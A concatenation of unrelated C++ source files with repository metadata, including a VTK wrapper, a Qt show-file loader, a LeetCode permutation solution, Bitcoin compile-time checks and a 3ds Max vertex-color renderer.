// written by bastiaan konings schuiling 2008 - 2015 // this work is public domain. the code is undocumented, scruffy, untested, and should generally not be used for anything important. // i do not offer support, so don't ask. to be used for inspiration :) #ifndef _HPP_MENU_LEAGUE_CALENDAR #define _HPP_MENU_LEAGUE_CALENDAR #include "utils/gui2/windowmanager.hpp" #include "utils/gui2/page.hpp" #include "utils/gui2/widgets/root.hpp" #include "utils/gui2/widgets/image.hpp" #include "utils/gui2/widgets/button.hpp" #include "utils/gui2/widgets/slider.hpp" #include "utils/gui2/widgets/grid.hpp" #include "utils/gui2/widgets/caption.hpp" #include "utils/gui2/widgets/capturekey.hpp" using namespace blunted; class LeagueCalendarPage : public Gui2Page { public: LeagueCalendarPage(Gui2WindowManager *windowManager, const Gui2PageData &pageData); virtual ~LeagueCalendarPage(); protected: }; #endif
[ "francescomanigrasso13@gmail.com" ]
francescomanigrasso13@gmail.com
eff84ef23604c08ceed584bfd7926c1aa48aa060
a2206795a05877f83ac561e482e7b41772b22da8
/Source/PV/build/Wrapping/ClientServer/vtkAngleRepresentation2DClientServer.cxx
f7f833850866ed376cd1fdc8158b5e45dff289d9
[]
no_license
supreethms1809/mpas-insitu
5578d465602feb4d6b239a22912c33918c7bb1c3
701644bcdae771e6878736cb6f49ccd2eb38b36e
refs/heads/master
2020-03-25T16:47:29.316814
2018-08-08T02:00:13
2018-08-08T02:00:13
143,947,446
0
0
null
null
null
null
UTF-8
C++
false
false
8,269
cxx
// ClientServer wrapper for vtkAngleRepresentation2D object // #define VTK_WRAPPING_CXX #define VTK_STREAMS_FWD_ONLY #include "vtkAngleRepresentation2D.h" #include "vtkSystemIncludes.h" #include "vtkClientServerInterpreter.h" #include "vtkClientServerStream.h" vtkObjectBase *vtkAngleRepresentation2DClientServerNewCommand(void* /*ctx*/) { return vtkAngleRepresentation2D::New(); } int VTK_EXPORT vtkAngleRepresentation2DCommand(vtkClientServerInterpreter *arlu, vtkObjectBase *ob, const char *method, const vtkClientServerStream& msg, vtkClientServerStream& resultStream, void* /*ctx*/) { vtkAngleRepresentation2D *op = vtkAngleRepresentation2D::SafeDownCast(ob); if(!op) { vtkOStrStreamWrapper vtkmsg; vtkmsg << "Cannot cast " << ob->GetClassName() << " object to vtkAngleRepresentation2D. " << "This probably means the class specifies the incorrect superclass in vtkTypeMacro."; resultStream.Reset(); resultStream << vtkClientServerStream::Error << vtkmsg.str() << 0 << vtkClientServerStream::End; return 0; } (void)arlu; if (!strcmp("New",method) && msg.GetNumberOfArguments(0) == 2) { vtkAngleRepresentation2D *temp20; { temp20 = (op)->New(); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << (vtkObjectBase *)temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("GetClassName",method) && msg.GetNumberOfArguments(0) == 2) { const char *temp20; { temp20 = (op)->GetClassName(); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("IsA",method) && msg.GetNumberOfArguments(0) == 3) { char *temp0; int temp20; if(msg.GetArgument(0, 2, &temp0)) { temp20 = (op)->IsA(temp0); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("NewInstance",method) && msg.GetNumberOfArguments(0) == 2) { vtkAngleRepresentation2D *temp20; { temp20 = (op)->NewInstance(); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << (vtkObjectBase *)temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("SafeDownCast",method) && msg.GetNumberOfArguments(0) == 3) { vtkObject *temp0; vtkAngleRepresentation2D *temp20; if(vtkClientServerStreamGetArgumentObject(msg, 0, 2, &temp0, "vtkObject")) { temp20 = (op)->SafeDownCast(temp0); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << (vtkObjectBase *)temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("GetAngle",method) && msg.GetNumberOfArguments(0) == 2) { double temp20; { temp20 = (op)->GetAngle(); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("GetPoint1WorldPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->GetPoint1WorldPosition(temp0); return 1; } } if (!strcmp("GetCenterWorldPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->GetCenterWorldPosition(temp0); return 1; } } if (!strcmp("GetPoint2WorldPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->GetPoint2WorldPosition(temp0); return 1; } } if (!strcmp("SetPoint1DisplayPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->SetPoint1DisplayPosition(temp0); return 1; } } if (!strcmp("SetCenterDisplayPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->SetCenterDisplayPosition(temp0); return 1; } } if (!strcmp("SetPoint2DisplayPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->SetPoint2DisplayPosition(temp0); return 1; } } if (!strcmp("GetPoint1DisplayPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->GetPoint1DisplayPosition(temp0); return 1; } } if (!strcmp("GetCenterDisplayPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->GetCenterDisplayPosition(temp0); return 1; } } if (!strcmp("GetPoint2DisplayPosition",method) && msg.GetNumberOfArguments(0) == 3) { double temp0[3]; if(msg.GetArgument(0, 2, temp0, 3)) { op->GetPoint2DisplayPosition(temp0); return 1; } } if (!strcmp("GetRay1",method) && msg.GetNumberOfArguments(0) == 2) { vtkLeaderActor2D *temp20; { temp20 = (op)->GetRay1(); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << (vtkObjectBase *)temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("GetRay2",method) && msg.GetNumberOfArguments(0) == 2) { vtkLeaderActor2D *temp20; { temp20 = (op)->GetRay2(); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << (vtkObjectBase *)temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("GetArc",method) && msg.GetNumberOfArguments(0) == 2) { vtkLeaderActor2D *temp20; { temp20 = (op)->GetArc(); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << (vtkObjectBase *)temp20 << vtkClientServerStream::End; return 1; } } if (!strcmp("BuildRepresentation",method) && msg.GetNumberOfArguments(0) == 2) { { op->BuildRepresentation(); return 1; } } if (!strcmp("ReleaseGraphicsResources",method) && msg.GetNumberOfArguments(0) == 3) { vtkWindow *temp0; if(vtkClientServerStreamGetArgumentObject(msg, 0, 2, &temp0, "vtkWindow")) { op->ReleaseGraphicsResources(temp0); return 1; } } if (!strcmp("RenderOverlay",method) && msg.GetNumberOfArguments(0) == 3) { vtkViewport *temp0; int temp20; if(vtkClientServerStreamGetArgumentObject(msg, 0, 2, &temp0, "vtkViewport")) { temp20 = (op)->RenderOverlay(temp0); resultStream.Reset(); resultStream << vtkClientServerStream::Reply << temp20 << vtkClientServerStream::End; return 1; } } { const char* commandName = "vtkAngleRepresentation"; if (arlu->HasCommandFunction(commandName) && arlu->CallCommandFunction(commandName, op, method, msg, resultStream)) { return 1; } } if(resultStream.GetNumberOfMessages() > 0 && resultStream.GetCommand(0) == vtkClientServerStream::Error && resultStream.GetNumberOfArguments(0) > 1) { /* A superclass wrapper prepared a special message. */ return 0; } vtkOStrStreamWrapper vtkmsg; vtkmsg << "Object type: vtkAngleRepresentation2D, could not find requested method: \"" << method << "\"\nor the method was called with incorrect arguments.\n"; resultStream.Reset(); resultStream << vtkClientServerStream::Error << vtkmsg.str() << vtkClientServerStream::End; vtkmsg.rdbuf()->freeze(0); return 0; } //-------------------------------------------------------------------------auto void VTK_EXPORT vtkAngleRepresentation2D_Init(vtkClientServerInterpreter* csi) { static vtkClientServerInterpreter* last = NULL; if(last != csi) { last = csi; csi->AddNewInstanceFunction("vtkAngleRepresentation2D", vtkAngleRepresentation2DClientServerNewCommand); csi->AddCommandFunction("vtkAngleRepresentation2D", vtkAngleRepresentation2DCommand); } }
[ "mpasVM@localhost.org" ]
mpasVM@localhost.org
e0ea353f279d655bb1a10e7016b7b7b3f9e9c890
a013b422ce83ece879c44823b2cb2d2438112ccc
/showbaseclass.cpp
d31c535ac9ad65336ae88ddc410bb65e48f32659
[]
no_license
morganaugbrown/AnimaniacsGUI
6fc8685d1621974a821887505090cd479208459e
031de61ddcbd5e8ee040e3d1c50ebf646ef0d2cc
refs/heads/master
2020-04-02T15:18:32.369395
2018-10-31T19:23:57
2018-10-31T19:23:57
154,562,327
0
0
null
null
null
null
UTF-8
C++
false
false
3,418
cpp
#include "showbaseclass.h" #include <QTextStream> #include <QRegularExpression> #include <QFile> #include <QFileInfo> #include <QDebug> #include "showprimarypanel.h" #include "track.h" #include "ledtrack.h" #include "motortrack.h" #include "wavtrack.h" ShowBaseClass::ShowBaseClass(QObject *parent, QString filepath) : QObject(parent) { parentPanel = (ShowPrimaryPanel*) parent; setSourceFile(new QFile(filepath)); QFileInfo fileinfo(filepath); if(filepath != "") { this->filename = fileinfo.fileName(); if(!sourceFile->open(QIODevice::ReadOnly | QIODevice::Text)) return; //Todo throw file not found error QTextStream in(sourceFile); QString line; QStringList list; line = in.readLine(); list = line.split(QRegularExpression(",")); if(list[0] != "Title") { qInfo("Title Not Found"); return; //TODO File Corrupted } title = list[1]; line = in.readLine(); if(line != "Tracks") { qInfo("Tracks Not Found"); return; //TODO File Corrupted } QStringList trackFiles; QList<int> trackOffsets; QList<QString> trackPorts; QList<QList<QString>> fullArgs; while((line = in.readLine()) != "EndTracks") { list = line.split(QRegularExpression(",")); trackFiles.append(fileinfo.absolutePath() + "/" + list[0]); qInfo() << fileinfo.absolutePath(); trackOffsets.append(list[1].toInt()); trackPorts.append(list[2]); QList<QString> args; for(int i = 3; i < list.length(); i++) { args.append(list[i]); } fullArgs.append(args); } sourceFile->close(); parentPanel->openTracks(trackFiles, &trackOffsets, &trackPorts, &fullArgs); } else { filename = ""; title = "Untitled"; } } void ShowBaseClass::save() { QList<Track*>* tracks = parentPanel->getTracks(); for(int i = 0; i < tracks->length(); i++) { if(tracks->at(i)->getTrackChanged()) tracks->at(i)->saveTrackParent(); } sourceFile->open(QIODevice::WriteOnly | QIODevice::Text); QTextStream out(sourceFile); out << "Title," << title << "\n"; out << "Tracks\n"; for(int i = 0; i < tracks->length(); i++) { Track* track = tracks->at(i); out << track->getFilename() << ","; out << track->getOffset() << ","; out << track->getPort(); LEDTrack* ledTrack; MotorTrack* motorTrack; if((ledTrack = dynamic_cast<LEDTrack*>(track))) { qInfo() << "LED Bar: " << ledTrack->getFilename(); out << "," << ledTrack->getColorName(); } else if((motorTrack = dynamic_cast<MotorTrack*>(track))) { qInfo() << "Motor Bar: " << motorTrack->getFilename(); out << "," << (motorTrack->getReverse() ? 1 : 0); } else { qInfo() << "WAV Bar: " << track->getFilename(); } out << "\n"; } out << "EndTracks"; sourceFile->close(); } void ShowBaseClass::saveAs(QFile *newSourceFile) { setSourceFile(newSourceFile); save(); parentPanel->updateTitle(); } void ShowBaseClass::setSourceFile(QFile *sourceFile) { this->sourceFile = sourceFile; this->filename = QFileInfo(*sourceFile).fileName(); }
[ "morgan.brown@eagles.oc.edu" ]
morgan.brown@eagles.oc.edu
8e2f6f755ee0b42decae0349d7f74c958f301ee2
1f0386e5b79191e5f794188bd0e2fc0202b23ab8
/ConsoleApplication10/ConsoleApplication10/Source1.cpp
927f3f05b32450033e3844c609c9ddcbc8031e8b
[]
no_license
mayoko/ShootingBall
25ec4057bc0ea3b418d0b929e6e5c70a8a02e21d
8e2e3a608b1f041582c9b1e0f24cceb0470e99d9
refs/heads/master
2021-01-01T03:44:00.367061
2016-05-13T16:46:29
2016-05-13T16:46:29
56,820,188
0
0
null
2016-04-29T07:30:26
2016-04-22T02:28:30
C++
UTF-8
C++
false
false
88
cpp
#include<iostream> using namespace std; int main(){ cout<<"Wodka!"<<endl; return 0; }
[ "ryohayashi3571@gmail.com" ]
ryohayashi3571@gmail.com
5cdf5dd896e4c2982f6d81fdd5e7c90656468f30
d775007b617dcdb9b3506fc09c42fd3ba14eae74
/src/compat/assumptions.h
1935f911fdbf605f137e19fa18e1ebd226cf025b
[ "MIT" ]
permissive
markblundeberg/bitcoin-abc
495958f5431dbfcbdc04f93cd36116dd73a86b3b
449bfe2bb4b2edc17e2c8618f04bce1bc05fe466
refs/heads/master
2020-04-10T07:59:02.002604
2019-11-19T13:48:53
2019-11-19T17:09:02
160,894,695
1
2
MIT
2019-06-07T20:24:36
2018-12-08T02:03:19
C++
UTF-8
C++
false
false
1,990
h
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2019 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. // Compile-time verification of assumptions we make. #ifndef BITCOIN_COMPAT_ASSUMPTIONS_H #define BITCOIN_COMPAT_ASSUMPTIONS_H #include <limits> // Assumption: We assume that the macro NDEBUG is not defined. // Example(s): We use assert(...) extensively with the assumption of it never // being a noop at runtime. #if defined(NDEBUG) #error "Bitcoin cannot be compiled without assertions." #endif // Assumption: We assume the floating-point types to fulfill the requirements of // IEC 559 (IEEE 754) standard. // Example(s): Floating-point division by zero in ConnectBlock, // CreateTransaction // and EstimateMedianVal. static_assert(std::numeric_limits<float>::is_iec559, "IEEE 754 float assumed"); static_assert(std::numeric_limits<double>::is_iec559, "IEEE 754 double assumed"); // Assumption: We assume floating-point widths. // Example(s): Type punning in serialization code // (ser_{float,double}_to_uint{32,64}). static_assert(sizeof(float) == 4, "32-bit float assumed"); static_assert(sizeof(double) == 8, "64-bit double assumed"); // Assumption: We assume integer widths. // Example(s): GetSizeOfCompactSize and WriteCompactSize in the serialization // code. static_assert(sizeof(short) == 2, "16-bit short assumed"); static_assert(sizeof(int) == 4, "32-bit int assumed"); // Some important things we are NOT assuming (non-exhaustive list): // * We are NOT assuming a specific value for sizeof(std::size_t). // * We are NOT assuming a specific value for std::endian::native. // * We are NOT assuming a specific value for std::locale("").name(). // * We are NOT assuming a specific value for // std::numeric_limits<char>::is_signed. #endif // BITCOIN_COMPAT_ASSUMPTIONS_H
[ "fpelliccioni@gmail.com" ]
fpelliccioni@gmail.com
e1f1f404977dad14fafb0164facd13df05a009f0
c4b544d9ff751fb6007f4a305a7c764c860f93b4
/test/ext/boost/fusion/functor/replace.cpp
7d37aa29f1186fbdd7e402bb01e82217fc399f53
[ "LicenseRef-scancode-unknown-license-reference", "BSL-1.0" ]
permissive
rbock/hana
cc630ff26c9c78cebe5facaeb98635a4d5afcc50
2b76377f91a5ebe037dea444e4eaabba6498d3a8
refs/heads/master
2021-01-16T21:42:59.613464
2014-08-08T02:38:54
2014-08-08T02:38:54
23,278,630
2
0
null
null
null
null
UTF-8
C++
false
false
898
cpp
/* @copyright Louis Dionne 2014 Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt) */ #include <boost/hana/ext/boost/fusion.hpp> #include <boost/hana/detail/constexpr.hpp> #include "../helper.hpp" #include <cassert> using namespace boost::hana; BOOST_HANA_CONSTEXPR_LAMBDA auto is_even = [](auto x) { return x % 2 == 0; }; int main() { with_nonassociative_forward_sequences([](auto container) { assert(replace(is_even, 'x', container()) == container()); assert(replace(is_even, 'x', container(0)) == container('x')); assert(replace(is_even, 'x', container(0, 1)) == container('x', 1)); assert(replace(is_even, 'x', container(0, 1, 2)) == container('x', 1, 'x')); assert(replace(is_even, 'x', container(0, 1, 2, 3)) == container('x', 1, 'x', 3)); }); }
[ "ldionne.2@gmail.com" ]
ldionne.2@gmail.com
e7f1c84099670a7d5a7c9e4c3dafbf72965a7483
830fa54fadf84a020219b40f152ba9fad050da85
/src/31.next-permutation.cpp
464d1beb4267019b48577eb69297cb7318d2fe7b
[]
no_license
Jinchenyuan/LeetCode
fbedb88c9ef7654b41da25f2c1d149ecdef6d54e
6de769c7a3312b20d24efcb64356515f472efd4b
refs/heads/master
2023-05-04T23:31:33.901465
2023-04-22T16:32:54
2023-04-22T16:32:54
186,218,266
2
0
null
null
null
null
UTF-8
C++
false
false
2,416
cpp
#include <iostream> #include <vector> using namespace std; /* * @lc app=leetcode id=31 lang=cpp * * [31] Next Permutation */ class Solution { private: void swap(int &a, int &b) { a = a ^ b; b = a ^ b; a = a ^ b; } void sortquick(vector<int> &nums, int start, int end) { if (start >= end) return; int midl = start, midr = start; for (int i = start + 1; i < end; i++) { if (nums[i] < nums[midr]) { if (i == midr + 1) { swap(nums[i], nums[midl]); } else { swap(nums[i], nums[midr + 1]); swap(nums[midl], nums[midr + 1]); } midl++; midr++; } else if (nums[i] == nums[midr]) { if (i > midr + 1) { swap(nums[i], nums[midr + 1]); } midr++; } } sortquick(nums, start, midl); sortquick(nums, midr + 1, end); } public: void nextPermutation(vector<int>& nums) { int len = nums.size(); if (len <= 1) return; len--; int pos = -1, pt = -1; while (len >= 1) { if (len < pos) break; for (int j = len - 1; j >= 0; --j) { if (nums[len] > nums[j]) { if(j > pos) { pos = j; pt = len; } } } len--; } if (pos != -1) { swap(nums[pos], nums[pt]); sortquick(nums, pos + 1, nums.size()); return; } sortquick(nums, 0, nums.size()); } }; int main(void) { vector<int> vv; int t[] = {1, 3, 2}; for (size_t i = 0; i < 3; i++) { vv.push_back(t[i]); } cout << "before:" << endl; for (size_t i = 0; i < vv.size(); i++) { cout << vv[i] << " "; } cout << endl; Solution s; s.nextPermutation(vv); cout << "after:" << endl; for (size_t i = 0; i < vv.size(); i++) { cout << vv[i] << " "; } cout << endl; return 0; }
[ "jinchenyuan@outlook.com" ]
jinchenyuan@outlook.com
9f01e7b74c9bdc056a05fc6a49ae29146aa4eddc
b367fe5f0c2c50846b002b59472c50453e1629bc
/xbox_leak_may_2020/xbox trunk/xbox/private/ui/maxsdk/SAMPLES/vrmlexp/EvalCol.cpp
c0c7252cf21debbce1c188ccda2a4baf3321bef8
[]
no_license
sgzwiz/xbox_leak_may_2020
11b441502a659c8da8a1aa199f89f6236dd59325
fd00b4b3b2abb1ea6ef9ac64b755419741a3af00
refs/heads/master
2022-12-23T16:14:54.706755
2020-09-27T18:24:48
2020-09-27T18:24:48
null
0
0
null
null
null
null
UTF-8
C++
false
false
44,784
cpp
/********************************************************************** *< FILE: EvalCol.cpp DESCRIPTION: Vertex Color Renderer CREATED BY: Christer Janson HISTORY: Created Monday, December 12, 1996 *> Copyright (c) 1997 Kinetix, All Rights Reserved. **********************************************************************/ //*************************************************************************** // December 12/13 1996 CCJ // January 8 1997 CCJ Bugfix // June 1 1997 CCJ Port to MAX 2.0 // June 6 1997 CCJ Implemented full ShadeContext // // Description: // These functions calculates the diffuse, ambient or pre-lit color at each // vertex or face of an INode. // // Exports: // BOOL calcMixedVertexColors(INode*, TimeValue, int, ColorTab&); // This function calculates the interpolated diffuse or ambient // color at each vetex of an INode. // Usage: Pass in a node pointer and the TimeValue to generate // a list of Colors corresponding to each vertex in the mesh // Use the int flag to specify if you want to have diffuse or // ambient colors, or if you want to use the scene lights. // Note: // You are responsible for deleting the Color objects in the table. // Additional note: // Since materials are assigned by face, this function renders each // face connected to the specific vertex (at the point of the vertex) // and mixes the colors afterwards. If this is not what you want // you can use the calcFaceColors() to calculate the color at the // centerpoint of each face. // //*************************************************************************** #include "max.h" #include "bmmlib.h" #include "evalcol.h" // Enable this to print out debug information // #define EVALCOL_DEBUG class SContext; class RefEnumProc; Point3 interpVertexNormal(Mesh* mesh, Matrix3 tm, unsigned int vxNo, BitArray& faceList); void AddSceneLights(SContext* sc, MtlBaseLib* mtls); int LoadMapFiles(INode* node, SContext* sc, MtlBaseLib& mtls, TimeValue t); void EnumRefs(ReferenceMaker *rm, RefEnumProc &proc); SingleVertexColor::~SingleVertexColor() { for (int i=0; i<vertexColors.Count(); i++) { delete vertexColors[i]; } } //*************************************************************************** //* The is the map enumerator class used for collecting projector lights for //* spotlights //*************************************************************************** class GetMaps: public RefEnumProc { MtlBaseLib *mlib; public: void proc(ReferenceMaker *rm); GetMaps(MtlBaseLib *mbl); }; //*************************************************************************** //* The is the Light descriptor object for default lights //*************************************************************************** class DefObjLight : public ObjLightDesc { public: Color intensCol; // intens*color DefObjLight(DefaultLight *l); void DeleteThis() {delete this;} int Update(TimeValue t, const RendContext& rc, RenderGlobalContext *rgc, BOOL shadows, BOOL shadowGeomChanged); int UpdateViewDepParams(const Matrix3& worldToCam); BOOL Illuminate(ShadeContext& sc, Point3& normal, Color& color, Point3 &dir, float &dot_nl, float &diffCoef); }; class LightInfo { public: LightInfo(INode* node, MtlBaseLib* mtls); LightInfo(DefaultLight* l); ~LightInfo(); ObjLightDesc* lightDesc; LightObject *light; }; typedef Tab<LightInfo*> LightTab; //*************************************************************************** //* RendContext is used to evaluate the lights //*************************************************************************** class RContext: public RendContext { public: Matrix3 WorldToCam() const { return Matrix3(1); } ShadowBuffer* NewShadowBuffer() const; ShadowQuadTree* NewShadowQuadTree() const; Color GlobalLightLevel() const; int Progress(int done, int total) { return 1; } }; //*************************************************************************** // ShadeContext for evaluating materials //*************************************************************************** class SContext : public ShadeContext { public: SContext(); ~SContext(); TimeValue CurTime(); int NodeID(); INode* Node(); Point3 BarycentricCoords(); int FaceNumber(); Point3 Normal(); float Curve(); LightDesc* Light(int lightNo); Point3 GNormal(void); Point3 ReflectVector(void); Point3 RefractVector(float ior); Point3 CamPos(void); Point3 V(void); Point3 P(void); Point3 DP(void); Point3 PObj(void); Point3 DPObj(void); Box3 ObjectBox(void); Point3 PObjRelBox(void); Point3 DPObjRelBox(void); void ScreenUV(Point2 &uv,Point2 &duv); IPoint2 ScreenCoord(void); Point3 UVW(int chan); Point3 DUVW(int chan); void DPdUVW(Point3 [], int chan); void GetBGColor(Color &bgCol, Color &transp, int fogBG); Point3 PointTo(const Point3 &p, RefFrame ito); Point3 PointFrom(const Point3 &p, RefFrame ito); Point3 VectorTo(const Point3 &p, RefFrame ito); Point3 VectorFrom(const Point3 &p, RefFrame ito); int InMtlEditor(); void SetView(Point3 v); int ProjType(); void SetNodeAndTime(INode* n, TimeValue tm); void SetMesh(Mesh* m); void SetBaryCoord(Point3 bary); void SetFaceNum(int f); void SetMtlNum(int mNo); void SetTargetPoint(Point3 tp); void SetViewPoint(Point3 vp); void SetViewDir(Point3 vd); void CalcNormals(); void CalcBoundObj(); void ClearLights(); void AddLight(LightInfo* li); void SetAmbientLight(Color c); void UpdateLights(); void calc_size_ratio(); float RayDiam() {return 0.1f;} void getTVerts(int chan); void getObjVerts(); public: LightTab lightTab; Matrix3 tmAfterWSM; private: INode* node; Mesh* mesh; Point3 baryCoord; int faceNum; Point3 targetPt; Point3 viewDir; Point3 viewPoint; TimeValue t; Point3 vxNormals[3]; UVVert tv[2][3]; Point3 bumpv[2][3]; Box3 boundingObj; RContext rc; Point3 obpos[3]; Point3 dobpos; float ratio; float curve; }; //*************************************************************************** //* Dummy Material : Simple Phong shader using Node color //* This material is assigned to each node that does not have a material //* previously assigned. The diffuse color is assigned based on the //* wireframe color. //* This way we can assume that all nodes have a material assigned. //*************************************************************************** #define DUMMTL_CLASS_ID Class_ID(0x4efd2694, 0x37c809f4) #define DUMSHINE .25f #define DUMSPEC .50f class DumMtl: public Mtl { Color diff, spec; float phongexp; public: DumMtl(Color c); void Update(TimeValue t, Interval& valid); void Reset(); Interval Validity(TimeValue t); ParamDlg* CreateParamDlg(HWND hwMtlEdit, IMtlParams *imp); Color GetAmbient(int mtlNum=0, BOOL backFace=FALSE); Color GetDiffuse(int mtlNum=0, BOOL backFace=FALSE); Color GetSpecular(int mtlNum=0, BOOL backFace=FALSE); float GetShininess(int mtlNum=0, BOOL backFace=FALSE); float GetShinStr(int mtlNum=0, BOOL backFace=FALSE); float GetXParency(int mtlNum=0, BOOL backFace=FALSE); void SetAmbient(Color c, TimeValue t); void SetDiffuse(Color c, TimeValue t); void SetSpecular(Color c, TimeValue t); void SetShininess(float v, TimeValue t); Class_ID ClassID(); void DeleteThis(); RefResult NotifyRefChanged(Interval changeInt, RefTargetHandle hTarget, PartID& partID, RefMessage message); void Shade(ShadeContext& sc); }; // Return a pointer to a TriObject given an INode or return NULL // if the node cannot be converted to a TriObject TriObject* GetTriObjectFromNode(INode *node, TimeValue t, int &deleteIt) { deleteIt = FALSE; Object *obj = node->EvalWorldState(t).obj; if (obj->CanConvertToType(Class_ID(TRIOBJ_CLASS_ID, 0))) { TriObject *tri = (TriObject *) obj->ConvertToType(t, Class_ID(TRIOBJ_CLASS_ID, 0)); // Note that the TriObject should only be deleted // if the pointer to it is not equal to the object // pointer that called ConvertToType() if (obj != tri) deleteIt = TRUE; return tri; } else { return NULL; } } //*************************************************************************** // Calculate ambient or diffuse color at each vertex. //*************************************************************************** BOOL calcVertexColors(INode* node, TimeValue t, int lightModel, VertexColorTab& vxColTab, EvalColProgressCallback* fn) { ObjectState ostate; BOOL deleteTri; Mesh* mesh; SContext sc; DefaultLight dl1, dl2; MtlBaseLib mtls; Matrix3 tm; sc.SetNodeAndTime(node, t); tm = sc.tmAfterWSM; TriObject* tri = GetTriObjectFromNode(node, t, deleteTri); // We will only work on GeomObjects if (!tri) { return FALSE; } // Get the mesh from the object mesh = &tri->GetMesh(); if (!mesh) { return FALSE; } // If the node doesn't have a material attached, // we create a dummy material. Mtl* mtl = node->GetMtl(); if (!mtl) { mtl = new DumMtl(node->GetWireColor()); } mesh->buildRenderNormals(); vxColTab.ZeroCount(); vxColTab.Shrink(); sc.SetMesh(mesh); sc.CalcBoundObj(); // Add the material to the list mtls.AddMtl(mtl); // Setup ambient light if (lightModel == LIGHT_AMBIENT) { sc.SetAmbientLight(Color(1.0f, 1.0f, 1.0f)); } else { sc.SetAmbientLight(Color(0.0f, 0.0f, 0.0f)); } // If we're using the real lights, we need to find them first if (lightModel == LIGHT_SCENELIGHT) { AddSceneLights(&sc, &mtls); // Add default lights if there are no lights in the scene if (sc.lightTab.Count() == 0) { dl1.ls.intens = 1.0f; dl1.ls.color = Color(0.8f, 0.8f, 0.8f); dl1.ls.type = OMNI_LGT; dl1.tm = TransMatrix(1000.0f * Point3(-900.0f, -1000.0f, 1500.0f)); dl2.ls.intens = 1.0f; dl2.ls.color = Color(0.8f, 0.8f, 0.8f); dl2.ls.type = OMNI_LGT; dl2.tm = TransMatrix(-1000.0f * Point3(-900.0f, -1000.0f, 1500.0f)); sc.AddLight(new LightInfo(&dl1)); sc.AddLight(new LightInfo(&dl2)); } sc.SetAmbientLight(GetCOREInterface()->GetAmbient(t, FOREVER)); } sc.UpdateLights(); // Update material mtl->Update(t, FOREVER); int numVerts = mesh->numVerts; for (unsigned int v = 0; v < (unsigned)numVerts; v++) { if (fn) { if (fn->progress(float(v)/float(numVerts))) { if (deleteTri) { delete tri; } mtls.Empty(); if (mtl->ClassID() == DUMMTL_CLASS_ID) { delete mtl; } // What to return here is up for discussion. // 1) We are aborting so FALSE might be in order. // 2) We have calculated some colors. Let's use what we've got so far. return TRUE; } } BitArray faceList; faceList.SetSize(mesh->numFaces, 0); // Get vertex normal // We also pass in a BitArray that will be filled in with // to inform us to which faces this vertex belongs. // We could do this manually, but we need to do it to get // the vertex normal anyway so this is done to speed things // up a bit. Point3 vxNormal = interpVertexNormal(mesh, tm, v, faceList); Point3 viewDir = -vxNormal; Point3 viewPoint = tm*mesh->verts[v] + 5.0f*vxNormal; Point3 lightPos = viewPoint; Point3 viewTarget = tm*mesh->verts[v]; // We now have a viewpoint and a view target. // Now we just have to shade this point on the mesh in order // to get it's color. // Note: // Since materials are assigned on Face basis we need to render each // vertex as many times as it has connecting faces. SingleVertexColor* svc = new SingleVertexColor(); for (int nf = 0; nf < faceList.GetSize(); nf++) { if (faceList[nf]) { // render vertex for this face. sc.SetViewPoint(viewPoint); sc.SetTargetPoint(viewTarget); sc.SetViewDir(viewDir); sc.SetFaceNum(nf); Face* f = &mesh->faces[nf]; sc.SetMtlNum(f->getMatID()); sc.CalcNormals(); // Setup the barycentric coordinate if (mesh->faces[nf].v[0] == v) sc.SetBaryCoord(Point3(1.0f, 0.0f, 0.0f)); else if (mesh->faces[nf].v[1] == v) sc.SetBaryCoord(Point3(0.0f, 1.0f, 0.0f)); else if (mesh->faces[nf].v[2] == v) sc.SetBaryCoord(Point3(0.0f, 0.0f, 1.0f)); // Use diffuse color instead of ambient // The only difference is that we create a special light // located at the viewpoint and we set the ambient light to black. if (lightModel == LIGHT_DIFFUSE) { dl1.ls.intens = 1.0f; dl1.ls.color = Color(0.8f, 0.8f, 0.8f); dl1.ls.type = OMNI_LGT; dl1.tm = TransMatrix(lightPos); sc.ClearLights(); sc.AddLight(new LightInfo(&dl1)); sc.UpdateLights(); } // Shade the vertex mtl->Shade(sc); Color* tmpCol = new Color(); tmpCol->r += sc.out.c.r; tmpCol->g += sc.out.c.g; tmpCol->b += sc.out.c.b; tmpCol->ClampMinMax(); svc->vertexColors.Append(1, &tmpCol, 2); } } // Append the Color to the table. If the array needs // to be realloc'ed, allocate extra space for 100 points. vxColTab.Append(1, &svc, 100); } // Some objects gives us a temporary mesh that we need to delete afterwards. if (deleteTri) { delete tri; } mtls.Empty(); if (mtl->ClassID() == DUMMTL_CLASS_ID) { delete mtl; } return TRUE; } 